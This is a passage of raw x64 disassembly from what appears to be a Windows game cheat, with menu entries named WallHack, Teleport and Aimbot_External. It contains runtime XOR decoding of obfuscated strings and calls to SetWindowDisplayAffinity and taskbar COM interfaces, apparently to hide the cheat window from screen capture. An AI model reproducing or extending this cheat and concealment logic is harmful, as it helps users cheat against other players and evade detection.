pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140065bb0
mov rdx, qword [rbp - 0x80]
mov rcx, r10
call fcn.140035550
test al, al
je 0x140065c0f
mov eax, dword [0x1401f6dd0]
test eax, eax
jne 0x140065c04
mov byte [0x1401e249c], 1
jmp 0x140065c0f
cmp eax, 1
jne 0x140065c0f
mov byte [0x1401c11f9], al
call fcn.14000c990
call fcn.1400170d0
mov eax, dword [0x1401f6de8]
cmp eax, 2
jne 0x14006674c
call fcn.140016f80
lea rcx, [rbp + 0x478]
call fcn.140016f20
lea rcx, [rbp + 0x480]
movss xmm7, dword [rax + 4]
subss xmm7, dword [0x14017a828]
subss xmm7, xmm15
call fcn.140016f20
movss xmm6, dword [rax]
mulss xmm6, xmm8
call fcn.140004810
movaps xmm2, xmm7
lea rcx, [rbp + 0x488]
movss xmm0, dword [rax + 0x4c]
mulss xmm0, xmm8
subss xmm6, xmm0
subss xmm6, dword [0x14017a860]
movaps xmm1, xmm6
call fcn.140001850
lea rdx, [rbp + 0x1e0]
mov qword [rbp - 0x80], rax
lea rcx, [rbp - 0x4d]
mov byte [rbp - 0x4d], 0
call fcn.140069900
movzx ecx, byte [rax + 4]
test cl, cl
je 0x140065cc2
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor cl, 0x38
mov byte [rax + 4], cl
mov rdx, qword [rbp - 0x80]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
call fcn.14000c880
lea rdx, [rbp + 0x739]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069920
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140065d1f
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor byte [rax + 9], 0x3d
xor cl, 0x3e
mov byte [rax + 0xa], cl
lea rdx, [rbp + 0x6d4]
mov qword [rbp + 0x1f8], rax
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], 0
call fcn.140069950
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140065d69
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
lea rdx, [rbp + 0x80a]
mov qword [rbp + 0x200], rax
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], 0
call fcn.140069970
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140065ee1
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140065ea1
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140065eb0
mov r9d, 2
mov dword [rsp + 0x20], 1
lea r8, [rbp + 0x1f8]
mov rcx, r10
lea rdx, [0x1401f6e18]
call fcn.140039240
call fcn.1400381a0
lea rcx, [rbp + 0x490]
call fcn.140016f20
movss xmm6, dword [rax]
mulss xmm6, xmm8
call fcn.140004810
movaps xmm2, xmm11
lea rcx, [rbp + 0x498]
subss xmm6, dword [rax + 8]
addss xmm6, xmm10
movaps xmm1, xmm6
call fcn.140001850
lea rdx, [rbp + 0x7fd]
mov qword [rbp - 0x80], rax
lea rcx, [rbp - 0x4c]
mov byte [rbp - 0x4c], 0
call fcn.1400699a0
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x1400660b1
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140066074
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140066080
mov rdx, qword [rbp - 0x80]
mov rcx, r10
call fcn.140035550
test al, al
je 0x1400660ed
mov eax, dword [0x1401f6e18]
test eax, eax
jne 0x1400660d4
mov byte [0x1401e2499], 1
jmp 0x1400660ed
cmp eax, 1
jne 0x1400660e1
mov byte [0x1401c22de], al
jmp 0x1400660ed
cmp eax, 2
jne 0x1400660ed
mov byte [0x1401c22dc], 1
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.140016af0
lea rcx, [rbp + 0x4a0]
call fcn.140016f20
movss xmm6, dword [rax]
mulss xmm6, xmm8
call fcn.140004810
movaps xmm2, xmm11
lea rcx, [rbp + 0x4a8]
subss xmm6, dword [rax + 8]
addss xmm6, xmm10
movaps xmm1, xmm6
call fcn.140001850
lea rdx, [rbp + 0x208]
mov qword [rbp - 0x80], rax
lea rcx, [rbp - 0x4b]
mov byte [rbp - 0x4b], 0
call fcn.1400699d0
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x1400662a1
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140066264
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140066270
mov rdx, qword [rbp - 0x80]
mov rcx, r10
call fcn.140035550
test al, al
je 0x140066429
lea rdx, [rbp + 0x89d]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069a00
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x140066421
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400663e6
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x1400663f0
mov rcx, r10
call fcn.140056010
call fcn.14000c990
call fcn.1400170d0
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.140016af0
call fcn.140016f80
movss xmm0, dword [0x14017a870]
call fcn.140016c00
lea rcx, [rbp + 0x4b0]
call fcn.140016f20
movss xmm7, dword [rax + 4]
mulss xmm7, xmm8
addss xmm7, dword [0x14017a880]
call fcn.140004810
lea rcx, [rbp + 0x4b8]
movss xmm0, dword [rax + 0x50]
mulss xmm0, xmm8
subss xmm7, xmm0
subss xmm7, dword [0x14017a808]
call fcn.140016f20
movss xmm6, dword [rax]
mulss xmm6, xmm8
call fcn.140004810
movaps xmm2, xmm7
lea rcx, [rbp + 0x4c0]
movss xmm0, dword [rax + 0x4c]
mulss xmm0, xmm8
subss xmm6, xmm0
subss xmm6, dword [0x14017a85c]
movaps xmm1, xmm6
call fcn.140001850
lea rdx, [rbp + 0x4c8]
mov qword [rbp - 0x80], rax
lea rcx, [rbp - 0x4a]
mov byte [rbp - 0x4a], 0
call fcn.140069a30
mov rcx, rax
cmp byte [rax + 7], 0
je 0x140066631
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400665f5
movdqa xmm2, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
jmp 0x140066631
mov r9, rcx
xor r8d, r8d
nop dword [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140066600
mov rdx, qword [rbp - 0x80]
xor r9d, r9d
xor r8d, r8d
call fcn.14000c880
lea rdx, [rbp + 0x68]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069a40
movzx ecx, byte [rax + 9]
test cl, cl
je 0x140066684
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor cl, 0x3d
mov byte [rax + 9], cl
lea rdx, [rbp + 0x744]
mov qword [rbp + 0xa0], rax
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], 0
call fcn.140069a60
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x1400666d6
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor byte [rax + 9], 0x3d
xor cl, 0x3e
mov byte [rax + 0xa], cl
mov r9d, 1
mov dword [rsp + 0x20], 2
lea r8, [rbp + 0xa0]
mov rcx, rax
lea rdx, [0x1401f6e0c]
call fcn.140033730
mov r8b, 1
lea rdx, [0x1401c1248]
lea rcx, str.WallHack
call fcn.1400324f0
mov r8b, 1
lea rdx, [0x1401c124c]
lea rcx, str.Teleport
call fcn.1400324f0
mov r8b, 1
lea rdx, [0x1401c123c]
lea rcx, str.Aimbot_External
call fcn.1400324f0
call fcn.14000c990
call fcn.1400170d0
mov eax, dword [0x1401f6de8]
cmp eax, 3
jne 0x140069100
call fcn.140016f80
lea rcx, [rbp + 0x4d0]
call fcn.140016f20
lea rcx, [rbp + 0x4d8]
movss xmm7, dword [rax + 4]
subss xmm7, dword [0x14017a828]
subss xmm7, xmm15
call fcn.140016f20
movss xmm6, dword [rax]
mulss xmm6, xmm8
call fcn.140004810
movaps xmm2, xmm7
lea rcx, [rbp + 0x4e0]
movss xmm0, dword [rax + 0x4c]
mulss xmm0, xmm8
subss xmm6, xmm0
subss xmm6, dword [0x14017a860]
movaps xmm1, xmm6
call fcn.140001850
lea rdx, [rbp + 0x6dd]
mov qword [rbp - 0x80], rax
lea rcx, [rbp - 0x49]
mov byte [rbp - 0x49], 0
call fcn.140069a90
movzx ecx, byte [rax + 8]
test cl, cl
je 0x1400667ff
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
mov rdx, qword [rbp - 0x80]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
call fcn.14000c880
lea rdx, [rbp + 0x7af]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069ab0
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x140066981
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140066942
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140066950
lea rdx, [0x1401f7178]
mov rcx, r10
call fcn.140036640
test al, al
je 0x140066df0
cmp byte [0x1401f7178], 0
je 0x140066bc7
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, rax
mov edx, reloc.WS2_32.dll_recvfrom
call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
xor ecx, ecx
mov qword [rbp + 0x38], 0
call qword [sym.imp.ole32.dll_CoInitialize]
xor edx, edx
lea rax, [rbp + 0x38]
lea r9, [0x14013e120]
mov qword [rsp + 0x20], rax
lea rcx, [0x14013e130]
lea r8d, [rdx + 1]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x140066a19
mov rax, qword [rbp + 0x38]
mov rcx, qword [rax]
mov rax, qword [rcx + 0x28]
mov qword [rbp - 0x80], rax
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, qword [rbp + 0x38]
mov rdx, rax
call qword [rbp - 0x80]
mov rcx, qword [rbp + 0x38]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, [rbp - 0x18]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069ad0
mov r10, rax
cmp byte [rax + 0x16], 0
je 0x140066de1
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140066b8b
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140066a80
cmp r8d, 0x17
jge 0x140066de1
movsxd r9, r8d
add r9, r10
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x140066b91
jmp 0x140066de1
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
xor ecx, ecx
mov qword [rbp + 0x40], 0
call qword [sym.imp.ole32.dll_CoInitialize]
xor edx, edx
lea rax, [rbp + 0x40]
lea r9, [0x14013e120]
mov qword [rsp + 0x20], rax
lea rcx, [0x14013e130]
lea r8d, [rdx + 1]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x140066c38
mov rax, qword [rbp + 0x40]
mov rcx, qword [rax]
mov rax, qword [rcx + 0x20]
mov qword [rbp - 0x80], rax
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, qword [rbp + 0x40]
mov rdx, rax
call qword [rbp - 0x80]
mov rcx, qword [rbp + 0x40]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, [rbp - 0x40]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069b00
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x140066de1
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140066da1
movdqa xmm0, xmmword [str.4444444444444444]
xor edx, edx
movdqa xmm5, xmmword [0x14017aa10]
mov rcx, rax
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov r8d, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x18
jl 0x140066ca0
jmp 0x140066de1
mov r9, r10
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x140066db0
mov rdx, r10
lea rcx, [0x1401c02a0]
call fcn.1400462d0
call fcn.1400381a0
lea rdx, [rbp + 0x88e]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069b20
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x140066f61
